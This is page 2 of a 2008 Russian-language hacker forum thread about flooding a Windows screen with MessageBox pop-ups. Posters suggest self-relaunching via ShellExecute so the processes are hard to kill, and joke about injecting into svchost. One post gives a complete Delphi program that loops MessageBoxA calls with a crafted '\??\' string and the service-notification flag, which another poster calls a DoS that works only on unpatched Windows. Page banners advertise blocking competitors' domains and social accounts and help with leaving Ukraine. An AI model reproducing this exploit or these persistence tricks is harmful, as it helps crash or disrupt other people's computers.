[Delphi] Вывести много MessageBox'ов

ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
[Delphi] Вывести много MessageBox'ов

Страница 2 из 2

Опции темы

Поиск в этой теме

Опции просмотра

#11

07.07.2008, 14:40

Irdis

Участник форума

Регистрация: 06.02.2006

Сообщений: 177

С нами: 10661593

Репутация: 88

дак вы прежде чем выдать другое окошко
напишите чё нить в таком духе типо
i:=0;
while i<10000 do
inc(i);
и будет вам задержка времени))))

#12

07.07.2008, 15:14

slesh

Познавший АНТИЧАТ

Регистрация: 05.03.2007

Сообщений: 1,985

С нами: 10097606

Репутация: 3349

2 Irdis А мож человеку нужно просто окнами забить, а не загрузить проц на 100% обычным циклом.
P.S. to Irdis для таких целей служит апишка sleep

#13

07.07.2008, 15:19

BlackSun

Познавший АНТИЧАТ

Регистрация: 01.04.2007

Сообщений: 1,268

С нами: 10058786

Репутация: 4589

На кой вам VCL чтобы MessageBox'ами закидать? изврашенцы? выкидывай весь код, оставляй в uses тока Windows; и лудше не с одной проги закидывать, просто сделай цыкл скажем в 100 сообшений и потом ShellExecute самого себя - в процессах будет дохера процессов - 2 зайца сразу - сложнее избавится и скрывать процесс ненадо

#14

07.07.2008, 15:25

slesh

Познавший АНТИЧАТ

Регистрация: 05.03.2007

Сообщений: 1,985

С нами: 10097606

Репутация: 3349

2 BlackSun Про VCL тут небыло реши. Да и MessageBox к VCL не имеет отношения.
Зы. Инжект в svchost чтобы прибить бес последствий не смогли *CRAZY*

P.S. Господи админ и его помошники апостолы(модераторы), пора закрыть тему, ибо сие переростает во флуд. Аминь.

Последний раз редактировалось slesh; 07.07.2008 в 15:27..

#15

07.07.2008, 15:36

BlackSun

Познавший АНТИЧАТ

Регистрация: 01.04.2007

Сообщений: 1,268

С нами: 10058786

Репутация: 4589

Цитата:

2 BlackSun Про VCL тут небыло реши. Да и MessageBox к VCL не имеет отношения.

1й пост, "form1.Hide;"

Цитата:

Зы. Инжект в svchost чтобы прибить бес последствий не смогли *CRAZY*

Зачем мучатся ..

Код:

program Msg;

{$IMAGEBASE $200}

procedure MessageBox(Wnd: Integer; Text: PChar; Caption: PChar; Typ: Integer); stdcall;
  external 'user32.dll' name 'MessageBoxA';

var
  Bug: PChar;
  I: Integer;
begin
  Bug := Char($5C) + Char($3F) + Char($3F) + Char($5C) + Char($21) + Char($21) + Char($21) + Char($00);
  for i := 0 to 50 do
    MessageBox(0, Bug, Bug, $20000);
end.

#16

07.07.2008, 15:40

slesh

Познавший АНТИЧАТ

Регистрация: 05.03.2007

Сообщений: 1,985

С нами: 10097606

Репутация: 3349

2 BlackSun ну тут дело было в алгоритме, а не в реализации.
Зато на VCL по твоему методы через SH - будет хоооороший груз.

А вдруг винда уже пропатчена? и тогда твой медот доса непокатит

Страница 2 из 2

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
много много ящиков...	loginrl__103	Болталка	5	10.06.2008 18:42

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход